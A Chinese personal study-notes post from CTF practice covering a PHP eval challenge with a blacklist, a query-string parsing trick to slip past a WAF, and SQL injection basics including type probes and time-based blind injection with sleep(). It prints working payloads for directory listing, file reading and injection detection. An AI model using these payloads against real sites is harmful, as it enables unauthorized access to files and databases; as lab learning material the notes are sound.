20200410学习笔记

今天睡了12个小时。。离谱儿。

整理一下这两天做的题以及学的内容吧 我这两天睡得这么久是真离谱!!

php strstr()

strstr(str1,str2)
返回从str2第一次出现开始之后的内容(包括str2)
比如 strstr(“phpinput”,”in”)
– input

php字符串解析bypass

前天做了个php字符串解析的问题(buuoj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

直接传num=phpinfo()的话是不行的,有waf。
waf的规则如果是规定num只能是数字的话,给num传个字母就白给了。
这里就用到了php字符串解析漏洞了。
参考链接https://www.freebuf.com/articles/web/213359.html
传一个?%20num=phpinfo()的话,waf找不到num这个参数,而php还是可以把%20num识别成num的。所以可以顺利的到eval那。
payload: ?%20num=var_dump(scandir(chr(47))) //chr47是/ 代表根目录 找到flag文件 然后file_get_contents(dir+filename)进行读取即可。这里过滤了/,所以用chr(47)代替

mysql if()

IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,
则返回expr3的值。
比如 if(2>1,1,0)

mysql 注释

#或者– 如果使用–的话后面需要一个间隔符 否则的话会被识别为+号。比如–+ (在url中 +是空格的url编码)

sql注入整型、字符型判断

参考链接:https://www.cnblogs.com/puhk/p/12674740.html
举例:
http://xxx/xxx/Less-1/?id=1 and 1=1 –+
输入?id=1 and 1=1 –+正常,输入?id=1 and 1=2 –+报错,可判断为整型注入。
http://xxx.xxx/Less-1/?id=1'
输入?id=1’出现报错,输入?id=1’’正常,可判断为字符型注入。
http://xxx.xxx/Less-1/?id=1' and 1=1 – -
输入?id=1’ and 1=1 – -正常,输入?id=1’ and 1=2 – -报错,可判断为字符型注入。

mysql盲注初步

参考链接 https://www.anquanke.com/post/id/170626
盲注分为基于时间的盲注和基于bool的盲注。
基于时间的盲注就是根据判断条件返回是true还是false 进行能够判断的操作(比如sleep) 可以理解为一种fuzz。
if(substr(database(),1,1)==97,sleep(1),0) 可以写脚本跑出来数据库的名字等等
布尔盲注是根据结果返回值(对应true false )判断需要找的字段 然后进行爆破